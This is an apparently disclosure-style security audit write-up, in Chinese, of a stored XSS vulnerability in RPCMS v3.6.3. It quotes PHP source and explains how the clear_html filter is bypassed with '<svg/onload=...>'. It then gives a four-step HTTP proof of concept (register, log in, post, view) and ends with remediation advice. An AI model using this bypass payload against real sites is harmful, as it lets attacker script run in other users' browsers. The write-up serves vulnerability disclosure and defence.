CNVD-2026-31734 RPCMS_XSS审计全流程
1、前言
RPCMS 是一款基于 PHP + MySQL 的轻量型内容管理/博客系统,支持 PHP 5.6 以上,以模板标签驱动、插件扩展丰富为特点。本文针对其版本 v3.6.3 进行源码审计,从入口路由一路跟到模板输出层,共发现 1 处安全问题:会员发帖功能存在存储型 XSS。该漏洞需要开启 API 功能(api_status=1),默认关闭。
2. 审计流程
2.1 匿名用户注册
在 api 模块下存在文件 Member.class.php,其中存在注册用户函数 register():
实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public function register(){ $data=array(); $data['username']=!empty(input('post.username')) ? strip_tags(input('post.username')) : ''; $data['password']=!empty(input('post.password')) ? strip_tags(input('post.password')) : ''; $data['nickname']=!empty(input('post.nickname')) ? strip_tags(input('post.nickname')) : $data['username']; $data['role']='member'; $data['email']=input('post.email'); $data['phone']=input('post.phone'); $data['status']=0; $data['isCheck']=1; if(empty($data['username'])){ $this->response('',401,'用户名不能为空'); } if(empty($data['password'])){ $this->response('',401,'密码不能为空'); } if(strlen($data['password']) < 6){ $this->response('',401,'密码至少6位'); } if(!empty($data['email']) && !checkForm('email',$data['email'])){ $this->response('',401,'邮箱格式不正确'); } if(!empty($data['phone']) && !checkForm('phone',$data['phone'])){ $this->response('',401,'手机号码格式不正确'); } if(!empty($data['email']) && Db::name('user')->where("email='".$data['email']."'")->find()){ $this->response('',401,'该邮箱已注册'); } if(!empty($data['phone']) && Db::name('user')->where("phone='".$data['phone']."'")->find()){ $this->response('',401,'该手机号已注册'); } if(Db::name('user')->where(array('username'=>$data['username']))->find()){ $this->response('',401,'用户名已存在'); } if(Db::name('user')->where(array('nickname'=>$data['nickname']))->find()){ $this->response('',401,'昵称重复,请更改'); } $data['password']=psw($data['password']); $res=Db::name('user')->insert($data); Cache::update('user'); Hook::doHook('api_member_register',array($res)); $this->response($res,200,'注册成功!'); }
|
可通过该 api 直接注册用户:
1 2 3 4 5 6 7 8
| POST /api/member/register HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 110 Connection: close
username=burp_test&password=burp123456&nickname=burp%E7%94%A8%E6%88%B7&email=burp%40test.com&phone=13800001111
|
2.2 会员登录
由于漏洞点出在发帖的功能,需要登录用户,定位到 login 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public function login(){ $username=input('post.username',''); $password=input('post.password',''); if(empty($username) || empty($password)){ $this->response('',401,'用户名或密码不能为空'); } if(checkForm('email',$username)){ $member=Db::name('user')->where(array('email'=>$username,'role'=>array('in','admin,member')))->find(); }else{ $member=Db::name('user')->where(array('username'=>$username,'role'=>array('in','admin,member')))->find(); } if(empty($member) || $member['password'] != psw($password)){ $this->response('',401,'用户名或密码错误'); } if($member['status'] != 0){ $this->response('',401,'该账户已被禁用'); } $data=array( 'id'=>$member['id'], 'username'=>$member['username'], ); session('MEUSER',$data); $token=$this->setToken($member); Hook::doHook('api_member_login',array($token)); $this->response($token,200,'登录成功!'); }
|
发送请求包:
1 2 3 4 5 6 7
| POST /api/member/login HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/x-www-form-urlencoded Connection: close
username=burp_test&password=burp123456
|
可以显示登录成功,响应头里返回 Set-Cookie: PHPSESSID=xxxx。
2.3 存储型 XSS 的路由:发帖函数
发帖对应的是 api 模块下的 Logs.class.php::post():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public function post(){ $this->chechAuth(true); $param=input('post.'); $default=array( 'id'=>0, 'title'=>'', 'content'=>'', 'excerpt'=>'', 'keywords'=>'', 'cateId'=>'', 'authorId'=>'', 'specialId'=>'', 'alias'=>'', 'password'=>'', 'template'=>'', 'createTime'=>'', 'isTop'=>'', 'isRemark'=>'', 'extend'=>'', 'tagesName'=>'', 'status'=>0, 'type'=>3, ); $param=array_merge($default,$param); $logid=intval($param['id']) ? intval($param['id']) : 0; if(self::$user['role'] != 'admin'){ $param['authorId']=self::$user['id']; } if(!empty($logid) && self::$user['role'] != 'admin'){ $data=Db::name('logs')->where(array('id'=>$logid))->field('authorId')->find(); (empty($data) || $data['authorId'] != self::$user['id']) && $this->response('',401,'无权限操作!'); } $data=array(); $data['title']=strip_tags($param['title']); $data['content']=clear_html($param['content'],array('script')); if(empty($data['title'])){ $this->response('',401,'标题不能为空!'); } if(empty($data['content'])){ $this->response('',401,'正文不能为空!'); } $data['excerpt']=!empty(strip_tags($param['excerpt'])) ? preg_replace('/\s/u','',strip_tags($param['excerpt'])) : getContentByLength($param['content']); $data['keywords']=str_replace(',',',',strip_tags($param['keywords'])); $data['cateId']=intval($param['cateId']); $data['authorId']=intval($param['authorId']); $data['specialId']=intval($param['specialId']); $data['alias']=strip_tags($param['alias']); $data['password']=strip_tags($param['password']); $data['template']=strip_tags($param['template']); $data['createTime']=!empty($param['createTime']) ? date('Y-m-d H:i:s',strtotime($param['createTime'])) : date('Y-m-d H:i:s'); $data['updateTime']=date('Y-m-d H:i:s'); $data['isTop']=!empty($param['isTop']) ? intval($param['isTop']) : 0; $data['isRemark']=!empty($param['isRemark']) ? intval($param['isRemark']) : 0; $data['extend']=$this->extendPost($param); $data['status']=intval($param['type']) == 3 ? intval($param['status']) : intval($param['type']); ... $logid=Db::name('logs')->insert($data); ... $this->response($logid,200,'操作成功!'); }
|
定位 content 参数的过滤函数 clear_html(),这是一个过滤 XSS 的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| function clear_html($content, $tages, $retainContent=false){ $preg=[]; if($tages == 'all'){ return strip_tags($content); } $retain=$retainContent ? '[^>]*>' : ''; $replace=$retainContent ? '$1' : ''; foreach($tages as $tag){ $preg[]='@<'.$tag.$retain.'(.*?)</'.$tag.'>@is'; } $content = preg_replace($preg, $replace, $content); $preg=[]; if(in_array('img', $tages)){ $content = preg_replace('@<img(.*?)>@is', '', $content); } if(in_array('script', $tages)){ $preg[]='/javascript:((?!;)(?!void\(0\)).)+/si'; $preg[]='/vbscript:/si'; $preg[]='/ on([a-z]+)=([^\> ]*)/si'; $replace=[ 'javascript:', 'javascript:;', '', ]; $content = preg_replace($preg, $replace, $content); } return $content; }
|
先看看这个函数做了什么:
$content:要清洗的 HTML
$tages:要处理的标签,'all' 或标签名数组(如 array('script')、array('img'))
$retainContent:是否保留标签内部文本(true=拆壳留内容,false=整块删除)
其中最关键的一条正则:
1
| $preg[]='/ on([a-z]+)=([^\> ]*)/si';
|
它把「空格 + on + 若干字母 + = + 值」这样的内联事件属性删掉。注意它的两个限制:
- 事件属性前必须是字面空格(
/、Tab、换行都不算);
onxxx 与 = 之间不能有空白。
因此用 / 代替空格即可绕过,例如:
1
| <svg/onload=alert(document.domain)>
|
这里所有调用点传的都是 script 标签:
1
| $data['content']=clear_html($param['content'],array('script'));
|
即只对 script 做了限制,传入上面的 payload 即可绕过黑名单。
发送发帖包:
1 2 3 4 5 6 7 8
| POST /api/logs/post HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 Cookie: PHPSESSID=xxxxxxxx Content-Type: application/x-www-form-urlencoded Connection: close
title=xsspoc&content=<svg/onload=alert(document.domain)>&type=3&status=0&cateId=0&tagesName=
|
访问触发:
1 2
| GET /post/21 HTTP/1.1 Host: 127.0.0.1:8083
|
POC 四步
1. 注册
1 2 3 4 5 6 7 8
| POST /api/member/register HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 110 Connection: close
username=burp_test&password=burp123456&nickname=burp%E7%94%A8%E6%88%B7&email=burp%40test.com&phone=13800001111
|
2. 登录
1 2 3 4 5 6 7
| POST /api/member/login HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Content-Type: application/x-www-form-urlencoded Connection: close
username=burp_test&password=burp123456
|
3. 发帖
1 2 3 4 5 6 7 8
| POST /api/logs/post HTTP/1.1 Host: 127.0.0.1:8083 User-Agent: Mozilla/5.0 Cookie: PHPSESSID=xxxxxxxx # 上一步拿到的 session Content-Type: application/x-www-form-urlencoded Connection: close
title=xsspoc&content=<svg/onload=alert(document.domain)>&type=3&status=0&cateId=0&tagesName=
|
4. 访问触发
1 2
| GET /post/21 HTTP/1.1 Host: 127.0.0.1:8083
|
访问 /post/21 即可弹出 alert(document.domain)。
修复建议:
- 使用 HTMLPurifier 等白名单库代替手写过滤函数(黑名单正则不可靠)。
- 输出端按用途处理:富文本正文确保入库前已白名单净化,非富文本字段统一转义,避免
|raw。
- 添加 CSP 响应头,从浏览器层面阻断内联脚本执行。
- 会话 Cookie 加
HttpOnly,会员发帖默认进入审核。